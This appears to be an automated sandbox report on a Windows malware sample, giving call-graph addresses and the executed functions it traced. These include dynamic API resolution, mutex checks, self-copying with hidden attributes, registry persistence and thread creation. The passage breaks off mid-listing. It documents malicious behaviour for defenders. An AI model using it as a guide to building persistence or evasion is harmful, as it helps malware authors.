11 API calls 46861->46862 46863 40f41c 46862->46863 46864 43bd51 new 21 API calls 46863->46864 46865 40f42d ctype 46864->46865 47168 406dd8 46865->47168 46867 40f460 46867->46557 46869 40210c 46868->46869 46870 4023ce 11 API calls 46869->46870 46871 402126 46870->46871 46872 402569 28 API calls 46871->46872 46873 402134 46872->46873 46873->46560 47222 4020df 46874->47222 46876 401fd8 11 API calls 46877 41bed0 46876->46877 46878 401fd8 11 API calls 46877->46878 46880 41bed8 46878->46880 46879 41bea0 47228 4041a2 28 API calls 46879->47228 46883 401fd8 11 API calls 46880->46883 46885 40ea24 46883->46885 46884 41beac 46886 401fe2 28 API calls 46884->46886 46896 40fb17 46885->46896 46888 41beb5 46886->46888 46887 401fe2 28 API calls 46889 41be2e 46887->46889 46890 401fd8 11 API calls 46888->46890 46889->46879 46889->46887 46891 401fd8 11 API calls 46889->46891 46895 41be9e 46889->46895 47226 4041a2 28 API calls 46889->47226 47227 41ce34 28 API calls 46889->47227 46892 41bebd 46890->46892 46891->46889 47229 41ce34 28 API calls 46892->47229 46895->46876 46897 40fb23 46896->46897 46899 40fb2a 46896->46899 47230 402163 11 API calls 46897->47230 46899->46565 46901 402163 46900->46901 46905 40219f 46901->46905 47231 402730 11 API calls 46901->47231 46903 402184 47232 402712 11 API calls std::_Deallocate 46903->47232 46905->46567 46907 401e6d 46906->46907 46909 401e75 46907->46909 47233 402158 22 API calls 46907->47233 46909->46573 46912 4020df 11 API calls 46911->46912 46913 40532a 46912->46913 47234 4032a0 46913->47234 46915 405346 46915->46580 47238 4051ef 46916->47238 46918 406391 47242 402055 46918->47242 46921 401fe2 46922 401ff1 46921->46922 46923 402039 46921->46923 46924 4023ce 11 API calls 46922->46924 46930 401fd8 46923->46930 46925 401ffa 46924->46925 46926 40203c 46925->46926 46927 402015 46925->46927 46928 40267a 11 API calls 46926->46928 47257 403098 28 API calls 46927->47257 46928->46923 46931 4023ce 11 API calls 46930->46931 46932 401fe1 46931->46932 46932->46592 46934 401fd2 46933->46934 46935 401fc9 46933->46935 46934->46598 47258 4025e0 28 API calls 46935->47258 47259 401fab 46937->47259 46939 40d073 CreateMutexA GetLastError 46939->46614 47260 41bfb7 46940->47260 46945 401fe2 28 API calls 46946 41b2ff 46945->46946 46947 401fd8 11 API calls 46946->46947 46948 41b307 46947->46948 46949 4135a6 31 API calls 46948->46949 46951 41b35d 46948->46951 46950 41b330 46949->46950 46952 41b33b StrToIntA 46950->46952 46951->46621 46953 41b352 46952->46953 46954 41b349 46952->46954 46956 401fd8 11 API calls 46953->46956 47268 41cf69 22 API calls 46954->47268 46956->46951 46958 40772a 46957->46958 46959 413549 3 API calls 46958->46959 46960 407731 46959->46960 46960->46631 46960->46632 46962 41bc72 46961->46962 47269 40b904 46962->47269 46964 41bc7a 46964->46649 46966 401f22 46965->46966 46973 401f6a 46965->46973 46967 402252 11 API calls 46966->46967 46968 401f2b 46967->46968 46969 401f6d 46968->46969 46971 401f46 46968->46971 47302 402336 46969->47302 47301 40305c 28 API calls 46971->47301 46974 401f09 46973->46974 46975 402252 11 API calls 46974->46975 46976 401f12 46975->46976 46976->46660 47306 401f86 46977->47306 46980 40da70 47316 41b5b4 29 API calls 46980->47316 46981 40daa5 46985 41bfb7 GetCurrentProcess 46981->46985 46982 40da66 46984 40db99 GetLongPathNameW 46982->46984 47310 40417e 46984->47310 46988 40daaa 46985->46988 46986 40da79 46989 401f13 28 API calls 46986->46989 46991 40db00 46988->46991 46992 40daae 46988->46992 46993 40da83 46989->46993 46995 40417e 28 API calls 46991->46995 46996 40417e 28 API calls 46992->46996 47000 401f09 11 API calls 46993->47000 46994 40417e 28 API calls 46997 40dbbd 46994->46997 46998 40db0e 46995->46998 46999 40dabc 46996->46999 47319 40ddd1 28 API calls 46997->47319 47003 40417e 28 API calls 46998->47003 47004 40417e 28 API calls 46999->47004 47000->46982 47002 40dbd0 47320 402fa5 28 API calls 47002->47320 47007 40db24 47003->47007 47008 40dad2 47004->47008 47006 40dbdb 47321 402fa5 28 API calls 47006->47321 47318 402fa5 28 API calls 47007->47318 47317 402fa5 28 API calls 47008->47317 47012 40dbe5 47015 401f09 11 API calls 47012->47015 47013 40db2f 47016 401f13 28 API calls 47013->47016 47014 40dadd 47017 401f13 28 API calls 47014->47017 47018 40dbef 47015->47018 47019 40db3a 47016->47019 47020 40dae8 47017->47020 47021 401f09 11 API calls 47018->47021 47022 401f09 11 API calls 47019->47022 47023 401f09 11 API calls 47020->47023 47024 40dbf8 47021->47024 47025 40db43 47022->47025 47026 40daf1 47023->47026 47027 401f09 11 API calls 47024->47027 47028 401f09 11 API calls 47025->47028 47029 401f09 11 API calls 47026->47029 47030 40dc01 47027->47030 47028->46993 47029->46993 47031 401f09 11 API calls 47030->47031 47032 40dc0a 47031->47032 47033 401f09 11 API calls 47032->47033 47034 40dc13 47033->47034 47034->46697 47036 40ce0c _wcslen 47035->47036 47037 40ce60 47036->47037 47038 40ce16 47036->47038 47039 40da34 31 API calls 47037->47039 47041 40ce1f CreateDirectoryW 47038->47041 47040 40ce72 47039->47040 47042 401f13 28 API calls 47040->47042 47323 40915b 47041->47323 47052 40ce5e 47042->47052 47044 40ce3b 47357 403014 47044->47357 47045 401f09 11 API calls 47051 40ce89 47045->47051 47048 401f13 28 API calls 47049 40ce55 47048->47049 47050 401f09 11 API calls 47049->47050 47050->47052 47053 40cea2 47051->47053 47054 40cebf 47051->47054 47052->47045 47057 40cd0d 31 API calls 47053->47057 47055 40cec8 CopyFileW 47054->47055 47056 40cf99 47055->47056 47058 40ceda _wcslen 47055->47058 47330 40cd0d 47056->47330 47088 40ceb3 47057->47088 47058->47056 47060 40cef6 47058->47060 47061 40cf49 47058->47061 47064 40da34 31 API calls 47060->47064 47063 40da34 31 API calls 47061->47063 47068 40cf4f 47063->47068 47069 40cefc 47064->47069 47065 40cfb3 47073 40cfbc SetFileAttributesW 47065->47073 47066 40cfdf 47067 40d027 CloseHandle 47066->47067 47070 40417e 28 API calls 47066->47070 47356 401f04 47067->47356 47071 401f13 28 API calls 47068->47071 47072 401f13 28 API calls 47069->47072 47076 40cff5 47070->47076 47077 40cf43 47071->47077 47078 40cf08 47072->47078 47087 40cfcb _wcslen 47073->47087 47075 40d043 ShellExecuteW 47079 40d060 ExitProcess 47075->47079 47080 40d056 47075->47080 47081 41bc5e 28 API calls 47076->47081 47085 401f09 11 API calls 47077->47085 47082 401f09 11 API calls 47078->47082 47083 40d069 CreateMutexA GetLastError 47080->47083 47084 40d008 47081->47084 47086 40cf11 47082->47086 47083->47088 47363 413814 RegCreateKeyW 47084->47363 47089 40cf61 47085->47089 47090 40915b 28 API calls 47086->47090 47087->47066 47092 40cfdc SetFileAttributesW 47087->47092 47088->46704 47093 40cf6d CreateDirectoryW 47089->47093 47091 40cf25 47090->47091 47094 403014 28 API calls 47091->47094 47092->47066 47362 401f04 47093->47362 47097 40cf31 47094->47097 47100 401f13 28 API calls 47097->47100 47103 40cf3a 47100->47103 47101 401f09 11 API calls 47101->47067 47104 401f09 11 API calls 47103->47104 47104->47077 47105->46572 47106->46581 47107->46585 47109->46606 47111 40eba4 47110->47111 47112 413573 RegQueryValueExA RegCloseKey 47110->47112 47111->46603 47111->46620 47112->47111 47113->46610 47114->46639 47115->46632 47116->46623 47117->46637 47118->46709 47119->46728 47120->46690 47122 40209b 47121->47122 47123 4023ce 11 API calls 47122->47123 47124 4020a6 47123->47124 47416 4024ed 47124->47416 47127->46708 47128->46714 47129->46720 47130->46731 47131->46739 47132->46750 47135 4344ef 47133->47135 47134 43bd51 new 21 API calls 47134->47135 47135->47134 47136 40f0d1 47135->47136 47420 442f80 7 API calls 2 library calls 47135->47420 47421 434c35 RaiseException Concurrency::cancel_current_task __CxxThrowException@8 47135->47421 47422 43526e RaiseException Concurrency::cancel_current_task __CxxThrowException@8 47135->47422 47136->46757 47140->46785 47141->46799 47142->46774 47143->46779 47145->46806 47146->46816 47147->46630 47149->46652 47150->46664 47423 41ad17 104 API calls 47151->47423 47153 41b4c5 LoadResource LockResource SizeofResource 47152->47153 47154 40f3de 47152->47154 47153->47154 47155 43bd51 47154->47155 47160 446137 __Getctype 47155->47160 47156 446175 47172 4405dd 20 API calls _free 47156->47172 47157 446160 RtlAllocateHeap 47159 446173 47157->47159 47157->47160 47159->46857 47160->47156 47160->47157 47171 442f80 7 API calls 2 library calls 47160->47171 47163 4020bf 47162->47163 47173 4023ce 47163->47173 47165 4020ca 47177 40250a 47165->47177 47167 4020d9 47167->46860 47169 4020b7 28 API calls 47168->47169 47170 406dec 47169->47170 47170->46867 47171->47160 47172->47159 47174 402428 47173->47174 47175 4023d8 47173->47175 47174->47165 47175->47174 47184 4027a7 11 API calls std::_Deallocate 47175->47184 47178 40251a 47177->47178 47179 402520 47178->47179 47180 402535 47178->47180 47185 402569 47179->47185 47195 4028e8 47180->47195 47183 402533 47183->47167 47184->47174 47206 402888 47185->47206 47187 40257d 47188 402592 47187->47188 47189 4025a7 47187->47189 47211 402a34 22 API calls 47188->47211 47191 4028e8 28 API calls 47189->47191 47194 4025a5 47191->47194 47192 40259b 47212 4029da 22 API calls 47192->47212 47194->47183 47196 4028f1 47195->47196 47197 402953 47196->47197 47198 4028fb 47196->47198 47220 4028a4 22 API calls 47197->47220 47201 402904 47198->47201 47204 402917 47198->47204 47214 402cae 47201->47214 47202 402915 47202->47183 47204->47202 47205 4023ce 11 API calls 47204->47205 47205->47202 47207 402890 47206->47207 47208 402898 47207->47208 47213 402ca3 22 API calls 47207->47213 47208->47187 47211->47192 47212->47194 47215 402cb8 __EH_prolog 47214->47215 47221 402e54 22 API calls 47215->47221 47217 4023ce 11 API calls 47219 402d92 47217->47219 47218 402d24 47218->47217 47219->47202 47221->47218 47223 4020e7 47222->47223 47224 4023ce 11 API calls 47223->47224 47225 4020f2 47224->47225 47225->46889 47226->46889 47227->46889 47228->46884 47229->46895 47230->46899 47231->46903 47232->46905 47236 4032aa 47234->47236 47235 4032c9 47235->46915 47236->47235 47237 4028e8 28 API calls 47236->47237 47237->47235 47239 4051fb 47238->47239 47248 405274 47239->47248 47241 405208 47241->46918 47243 402061 47242->47243 47244 4023ce 11 API calls 47243->47244 47245 40207b 47244->47245 47253 40267a 47245->47253 47249 405282 47248->47249 47252 4028a4 22 API calls 47249->47252 47254 40268b 47253->47254 47255 4023ce 11 API calls 47254->47255 47256 40208d 47255->47256 47256->46921 47257->46923 47258->46934 47261 41bfc4 GetCurrentProcess 47260->47261 47262 41b2d1 47260->47262 47261->47262 47263 4135a6 RegOpenKeyExA 47262->47263 47264 4135d4 RegQueryValueExA RegCloseKey 47263->47264 47265 4135fe 47263->47265 47264->47265 47266 402093 28 API calls 47265->47266 47267 413613 47266->47267 47267->46945 47268->46953 47270 40b90c 47269->47270 47275 402252 47270->47275 47272 40b917 47279 40b92c 47272->47279 47274 40b926 47274->46964 47276 4022ac 47275->47276 47277 40225c 47275->47277 47276->47272 47277->47276 47286 402779 11 API calls std::_Deallocate 47277->47286 47280 40b966 47279->47280 47281 40b938 47279->47281 47298 4028a4 22 API calls 47280->47298 47287 4027e6 47281->47287 47285 40b942 47285->47274 47286->47276 47288 4027ef 47287->47288 47289 402851 47288->47289 47290 4027f9 47288->47290 47300 4028a4 22 API calls 47289->47300 47293 402802 47290->47293 47296 402815 47290->47296 47299 402aea 28 API calls __EH_prolog 47293->47299 47295 402813 47295->47285 47296->47295 47297 402252 11 API calls 47296->47297 47297->47295 47299->47295 47301->46973 47303 402347 47302->47303 47304 402252 11 API calls 47303->47304 47305 4023c7 47304->47305 47305->46973 47307 401f8e 47306->47307 47308 402252 11 API calls 47307->47308 47309 401f99 47308->47309 47309->46980 47309->46981 47309->46982 47311 404186 47310->47311 47312 402252 11 API calls 47311->47312 47313 404191 47312->47313 47322 4041bc 28 API calls 47313->47322 47315 40419c 47315->46994 47316->46986 47317->47014 47318->47013 47319->47002 47320->47006 47321->47012 47322->47315 47324 401f86 11 API calls 47323->47324 47325 409167 47324->47325 47369 40314c 47325->47369 47327 409184 47373 40325d 47327->47373 47329 40918c 47329->47044 47331 40cd33 47330->47331 47333 40cd6f 47330->47333 47387 40b97c 47331->47387 47336 40cdb0 47333->47336 47337 40b97c 28 API calls 47333->47337 47335 40cdf1 47335->47065 47335->47066 47336->47335 47339 40b97c 28 API calls 47336->47339 47340 40cd86 47337->47340 47338 403014 28 API calls 47341 40cd4f 47338->47341 47342 40cdc7 47339->47342 47343 403014 28 API calls 47340->47343 47344 413814 14 API calls 47341->47344 47345 403014 28 API calls 47342->47345 47346 40cd90 47343->47346 47347 40cd63 47344->47347 47348 40cdd1 47345->47348 47349 413814 14 API calls 47346->47349 47351 401f09 11 API calls 47347->47351 47352 413814 14 API calls 47348->47352 47350 40cda4 47349->47350 47353 401f09 11 API calls 47350->47353 47351->47333 47354 40cde5 47352->47354 47353->47336 47355 401f09 11 API calls 47354->47355 47355->47335 47394 403222 47357->47394 47359 403022 47398 403262 47359->47398 47364 413866 47363->47364 47366 413829 47363->47366 47365 401f09 11 API calls 47364->47365 47367 40d01b 47365->47367 47368 413842 RegSetValueExW RegCloseKey 47366->47368 47367->47101 47368->47364 47370 403156 47369->47370 47371 403175 47370->47371 47372 4027e6 28 API calls 47370->47372 47371->47327 47372->47371 47374 40323f 47373->47374 47377 4036a6 47374->47377 47376 40324c 47376->47329 47378 402888 22 API calls 47377->47378 47379 4036b9 47378->47379 47380 40372c 47379->47380 47381 4036de 47379->47381 47386 4028a4 22 API calls 47380->47386 47384 4027e6 28 API calls 47381->47384 47385 4036f0 47381->47385 47384->47385 47385->47376 47388 401f86 11 API calls 47387->47388 47389 40b988 47388->47389 47390 40314c 28 API calls 47389->47390 47391 40b9a4 47390->47391 47392 40325d 28 API calls 47391->47392 47393 40b9b7 47392->47393 47393->47338 47395 40322e 47394->47395 47404 403618 47395->47404 47397 40323b 47397->47359 47399 40326e 47398->47399 47400 402252 11 API calls 47399->47400 47401 403288 47400->47401 47402 402336 11 API calls 47401->47402 47403 403031 47402->47403 47403->47048 47405 403626 47404->47405 47406 403644 47405->47406 47407 40362c 47405->47407 47408 40365c 47406->47408 47409 40369e 47406->47409 47410 4036a6 28 API calls 47407->47410 47411 403642 47408->47411 47414 4027e6 28 API calls 47408->47414 47415 4028a4 22 API calls 47409->47415 47410->47411 47411->47397 47414->47411 47417 4024f9 47416->47417 47418 40250a 28 API calls 47417->47418 47419 4020b1 47418->47419 47419->46701 47420->47135 47430 43be58 47433 43be64 _swprintf ___FrameUnwindToState 47430->47433 47431 43be72 47446 4405dd 20 API calls _free 47431->47446 47433->47431 47434 43be9c 47433->47434 47441 445888 EnterCriticalSection 47434->47441 47436 43be77 __cftoe ___FrameUnwindToState 47437 43bea7 47442 43bf48 47437->47442 47441->47437 47443 43bf56 47442->47443 47445 43beb2 47443->47445 47448 44976c 36 API calls 2 library calls 47443->47448 47447 43becf LeaveCriticalSection std::_Lockit::~_Lockit 47445->47447 47446->47436 47447->47436 47448->47443 47449 448299 GetLastError 47450 4482b2 47449->47450 47451 4482b8 47449->47451 47475 4487bc 11 API calls 2 library calls 47450->47475 47455 44830f SetLastError 47451->47455 47468 445af3 47451->47468 47458 448318 47455->47458 47456 4482d2 47476 446782 20 API calls _free 47456->47476 47459 4482e7 47459->47456 47461 4482ee 47459->47461 47478 448087 20 API calls __Tolower 47461->47478 47462 4482d8 47464 448306 SetLastError 47462->47464 47464->47458 47465 4482f9 47479 446782 20 API calls _free 47465->47479 47467 4482ff 47467->47455 47467->47464 47473 445b00 __Getctype 47468->47473 47469 445b40 47481 4405dd 20 API calls _free 47469->47481 47470 445b2b RtlAllocateHeap 47471 445b3e 47470->47471 47470->47473 47471->47456 47477 448812 11 API calls 2 library calls 47471->47477 47473->47469 47473->47470 47480 442f80 7 API calls 2 library calls 47473->47480 47475->47451 47476->47462 47477->47459 47478->47465 47479->47467 47480->47473 47481->47471 47482 40165e 47483 401666 47482->47483 47484 401669 47482->47484 47485 4016a8 47484->47485 47488 401696 47484->47488 47486 4344ea new 22 API calls 47485->47486 47487 40169c 47486->47487 47489 4344ea new 22 API calls 47488->47489 47489->47487

                                                                                                                              Executed Functions

                                                                                                                              Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB65
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CB6E
                                                                                                                              • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CB88
                                                                                                                              • LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CB9A
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CB9D
                                                                                                                              • LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CBAE
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CBB1
                                                                                                                              • LoadLibraryA.KERNEL32(ntdll,NtUnmapViewOfSection,?,?,?,?,0040E9E1), ref: 0041CBC3
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CBC6
                                                                                                                              • LoadLibraryA.KERNEL32(kernel32,GlobalMemoryStatusEx,?,?,?,?,0040E9E1), ref: 0041CBD2
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CBD5
                                                                                                                              • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CBE9
                                                                                                                              • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CBFD
                                                                                                                              • LoadLibraryA.KERNEL32(Shell32,IsUserAnAdmin,?,?,?,?,0040E9E1), ref: 0041CC0E
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC11
                                                                                                                              • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC25
                                                                                                                              • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC39
                                                                                                                              • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC4D
                                                                                                                              • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC61
                                                                                                                              • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC75
                                                                                                                              • LoadLibraryA.KERNEL32(Shlwapi,0000000C,?,?,?,?,0040E9E1), ref: 0041CC83
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC86
                                                                                                                              • LoadLibraryA.KERNEL32(kernel32,GetConsoleWindow,?,?,?,?,0040E9E1), ref: 0041CC97
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CC9A
                                                                                                                              • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CCAA
                                                                                                                              • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CCBA
                                                                                                                              • LoadLibraryA.KERNELBASE(Iphlpapi,GetExtendedTcpTable,?,?,?,?,0040E9E1), ref: 0041CCCC
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CCCF
                                                                                                                              • LoadLibraryA.KERNEL32(Iphlpapi,GetExtendedUdpTable,?,?,?,?,0040E9E1), ref: 0041CCDC
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CCDF
                                                                                                                              • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CCF3
                                                                                                                              • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CD07
                                                                                                                              • LoadLibraryA.KERNELBASE(Rstrtmgr,RmStartSession,?,?,?,?,0040E9E1), ref: 0041CD19
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CD1C
                                                                                                                              • LoadLibraryA.KERNEL32(Rstrtmgr,RmRegisterResources,?,?,?,?,0040E9E1), ref: 0041CD29
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CD2C
                                                                                                                              • LoadLibraryA.KERNEL32(Rstrtmgr,RmGetList,?,?,?,?,0040E9E1), ref: 0041CD39
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CD3C
                                                                                                                              • LoadLibraryA.KERNEL32(Rstrtmgr,RmEndSession,?,?,?,?,0040E9E1), ref: 0041CD49
                                                                                                                              • GetProcAddress.KERNEL32(00000000), ref: 0041CD4C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$LibraryLoad$HandleModule
                                                                                                                              • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                                                                                                              • API String ID: 4236061018-3687161714
                                                                                                                              • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                                                                                                              • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                                                                                                                              • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                                                                                                              • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                                                                                                                              Function 0040E9C5 Relevance: 84.8, APIs: 14, Strings: 34, Instructions: 795COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 101 40f34f-40f36a call 401fab call 4139a9 call 412475 69->101 80 40ec03-40ec0a call 40d069 70->80 81 40ebcb-40ebea call 401fab call 413549 70->81 89 40ec13-40ec1a 80->89 90 40ec0c-40ec0e 80->90 81->80 97 40ebec-40ec02 call 401fab call 4139a9 81->97 95 40ec1c 89->95 96 40ec1e-40ec2a call 41b2c3 89->96 94 40eef1 90->94 94->49 95->96 103 40ec33-40ec37 96->103 104 40ec2c-40ec2e 96->104 97->80 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 101->126 107 40ec76-40ec89 call 401e65 call 401fab 103->107 108 40ec39 call 407716 103->108 104->103 127 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 107->127 128 40ec8b call 407755 107->128 117 40ec3e-40ec40 108->117 120 40ec42-40ec47 call 407738 call 407260 117->120 121 40ec4c-40ec5f call 401e65 call 401fab 117->121 120->121 121->107 140 40ec61-40ec67 121->140 157 40f3a5-40f3af call 40dd42 call 414f2a 126->157 177 40ed80-40ed84 127->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 127->178 128->127 140->107 143 40ec69-40ec6f 140->143 143->107 147 40ec71 call 407260 143->147 147->107 180 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->180 181 40ed8a-40ed91 177->181 178->177 205 40ed35-40ed61 call 401e65 call 401fab call 401e65 call 401fab call 40da34 178->205 236 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 180->236 184 40ed93-40ee05 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 181->184 185 40ee0f-40ee19 call 409057 181->185 271 40ee0a-40ee0d 184->271 191 40ee1e-40ee42 call 40247c call 434798 185->191 212 40ee51 191->212 213 40ee44-40ee4f call 436e90 191->213 246 40ed66-40ed7b call 401f13 call 401f09 205->246 218 40ee53-40eec8 call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 call 4347a1 call 401e65 call 40b9bd 212->218 213->218 218->236 286 40eece-40eeed call 401e65 call 41bc5e call 40f474 218->286 287 40efc1 236->287 288 40efdc-40efde 236->288 246->177 271->191 286->236 306 40eeef 286->306 292 40efc3-40efda call 41cd9b CreateThread 287->292 289 40efe0-40efe2 288->289 290 40efe4 288->290 289->292 293 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 290->293 292->293 344 40f101 293->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 293->345 306->94 347 40f103-40f11b call 401e65 call 401fab 344->347 345->347 357 40f159-40f16c call 401e65 call 401fab 347->357 358 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 347->358 368 40f1cc-40f1df call 401e65 call 401fab 357->368 369 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 357->369 358->357 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 368->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 368->380 369->368 379->380 402 40f240 380->402 403 40f243-40f256 CreateThread 380->403 402->403 404 40f264-40f26b 403->404 405 40f258-40f262 CreateThread 403->405 408 40f279-40f280 404->408 409 40f26d-40f277 CreateThread 404->409 405->404 412 40f282-40f285 408->412 413 40f28e 408->413 409->408 415 40f287-40f28c 412->415 416 40f2cc-40f2e7 call 401fab call 4134ff 412->416 418 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 413->418 415->418 416->157 427 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 416->427 418->416 443 40f346-40f34b DeleteFileW 427->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0041CB50: LoadLibraryA.KERNELBASE(Psapi,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB65
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB6E
                                                                                                                                • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB88
                                                                                                                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CB9A
                                                                                                                                • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000), ref: 0041CB9D
                                                                                                                                • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32,SetProcessDpiAwareness,?,?,?,?,0040E9E1), ref: 0041CBAE
